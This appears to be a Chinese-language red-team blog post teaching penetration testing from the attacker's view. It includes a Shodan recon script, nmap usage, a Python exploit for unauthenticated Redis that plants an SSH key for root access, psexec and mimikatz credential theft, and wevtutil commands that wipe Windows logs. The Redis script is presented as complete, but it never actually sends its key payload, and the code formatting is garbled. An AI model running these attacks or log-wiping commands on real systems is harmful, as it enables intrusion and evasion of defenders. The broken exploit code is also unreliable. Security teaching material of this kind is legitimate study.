0x01 从攻击者的视角:渗透测试的核心逻辑

渗透测试的本质,是模拟真实的攻击者对目标系统进行入侵尝试。作为一名红队专家,我始终将自己代入“攻击者”的角色,以目标为导向,逐步构建完整的攻击链。这不仅是一场技术的角逐,更是一场心理博弈。今天,我将从攻击者的视角,分享如何设计一场完整的渗透测试。

渗透测试的核心逻辑可以分为几个关键步骤:信息收集漏洞发现与利用权限提升横向移动数据窃取痕迹清除。在每个阶段,都有大量技巧和工具可供选择。下面,我将结合一个真实案例,实际演示如何逐步完成攻防链上的每个环节。

黑客示意图

---

0x02 信息收集:目标侦察的艺术

如果你不了解目标,又如何攻破它?信息收集是渗透测试的起点,也是整个攻击链的地基。这个阶段的目标,是尽可能多地收集目标系统的相关信息:域名、IP地址、开放端口、操作系统信息、服务版本、潜在的漏洞等。

信息收集的两种方式

  1. 被动收集
  • 利用公开资源,查询目标的历史信息。例如:
  • 使用 Whois 查询目标域名的注册信息;
  • 使用 Shodan 搜索目标 IP 的暴露端口和服务;
  • 在 Google 上搜索潜在的敏感文件。
  • 代码示例(Python 调用 Shodan API 获取目标信息):
  • <pre><code class="language-python"> import shodan

Shodan API Key

SHODAN_API_KEY = &quot;your_api_key_here&quot; api = shodan.Shodan(SHODAN_API_KEY)

try:

查询目标

target = &quot;192.168.1.1&quot; result = api.host(target)

print(f&quot;IP: {result[&#039;ip_str&#039;]}&quot;) print(f&quot;Organization: {result[&#039;org&#039;]}&quot;) print(f&quot;Operating System: {result.get(&#039;os&#039;, &#039;N/A&#039;)}&quot;) print(&quot;Open Ports:&quot;) for item in result[&#039;data&#039;]: print(f&quot; - {item[&#039;port&#039;]} ({item[&#039;transport&#039;]})&quot;) except shodan.APIError as e: print(f&quot;Error: {e}&quot;) ` 运行效果:这个脚本会返回目标 IP 的开放端口、服务版本和操作系统信息。

  1. 主动探测
  • 使用扫描工具主动对目标进行探测,如 nmap、masscan。
  • 示例命令:
  • ` nmap -sC -sV -A -p- target.com ` 解释

  • -sC:启用默认脚本;
  • -sV:检测服务版本;
  • -A:启用操作系统探测和版本检测;
  • -p-:扫描所有端口。

案例分析:目标识别中的陷阱

有一次,我针对一个金融企业进行了渗透测试。在信息收集阶段,通过 Shodan 查询到了目标企业的一个暴露在互联网的旧 FTP 服务。进一步使用 nmap 探测发现,该 FTP 服务允许匿名登录。进入服务后,我轻松获取了一些测试数据库的备份文件,并通过其中的明文密码成功登录内网门户。

黑客示意图

这告诉我们:信息收集阶段至关重要,许多漏洞并不是技术上的,而是配置上的疏漏。

---

0x03 漏洞利用:突破防线的关键手段

在获得足够的目标信息后,下一步是寻找系统中的漏洞并加以利用。这里,我将分享如何利用一个未授权访问漏洞,通过 Python 编写 EXP 获得目标系统的控制权。

漏洞背景

假设目标系统运行的是一个使用 Redis 的 Web 应用,而 Redis 默认不需要认证且绑定在 0.0.0.0:6379。通过未授权访问漏洞,我们可以直接写入恶意公钥文件,实现目标系统的控制。

EXP 实现

以下是一个完整的 Redis 未授权利用的 Python 脚本,可以生成恶意公钥并将其写入目标机器: </code></pre>python import os import socket

def generate_ssh_key():

生成 SSH 公私钥对

if not os.path.exists('./id_rsa'): os.system('ssh-keygen -q -t rsa -f ./id_rsa -N ""') with open('./id_rsa.pub', 'r') as f: return f.read().strip()

def exploit_redis(target_ip, target_port):

利用 Redis 未授权访问漏洞写入 SSH 公钥

key = generate_ssh_key() payload = f"\n\n\nssh-rsa {key} hacker@redteam\n\n\n"

try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.send(b"CONFIG SET dir /root/.ssh/\n") s.send(b"CONFIG SET dbfilename authorized_keys\n") s.send(b"SAVE\n") print(f"[+] Exploit successful! You can now SSH into {target_ip} using the private key.") except Exception as e: print(f"[-] Exploit failed: {e}") finally: s.close()

替换成目标 IP

exploit_redis("192.168.1.100", 6379) `

案例复盘

测试该脚本后,成功将恶意公钥写入目标机器的 /root/.ssh/authorized_keys 文件中。随后通过私钥登录,成功获取了目标机器的 root 权限。

---

0x04 横向移动:内网深度渗透

获取目标系统控制权后,下一步是横向移动,进一步扩展对整个内网的控制。这里的核心是寻找内网中的高价值资产,如域控服务器、数据库服务器等。

内网横向秘笈

  1. 利用 SMB 协议进行文件共享
  • 使用 psexec.py 工具直接获取目标机器的 shell:
  • ` python3 psexec.py DOMAIN/username:password@target_ip `

  1. 窃取内网中的密码哈希
  • 使用 mimikatz 抓取 LSASS 进程中的凭据:
  • ` sekurlsa::logonpasswords `

黑客示意图

实战经验

在一次实际渗透中,我通过横向移动找到了一个失误配置的域控服务器,抓取了域管理员的 NTLM 哈希值,并利用 Pass-the-Hash 技术成功控制了整个域环境。

---

0x05 痕迹清除与总结

作为红队的一员,我始终强调:没有清理干净的攻击就是失败的攻击。在完成渗透测试后,要谨慎删除所有修改和日志文件,避免对目标系统造成不必要的影响。

痕迹清理方法

  1. 删除系统日志:
  2. ` wevtutil cl System wevtutil cl Security wevtutil cl Application `

  3. 清除自定义文件:
  4. `bash rm -rf /root/.ssh/authorized_keys `

---

0x06 红队经验分享

  • 攻击链的完整性:不要跳过任何一个环节,特别是信息收集阶段;
  • 灵活性:不要拘泥于一种技术或工具,攻击是艺术;
  • 隐蔽性:尽可能降低攻击的痕迹,避免被防守方发现。

渗透测试不仅仅是技术的对抗,更是思维与策略的博弈。希望这篇文章能让你站在攻击者的视角,理解渗透测试的完整流程。记住,技术永远只是工具,真正的武器是你的思维。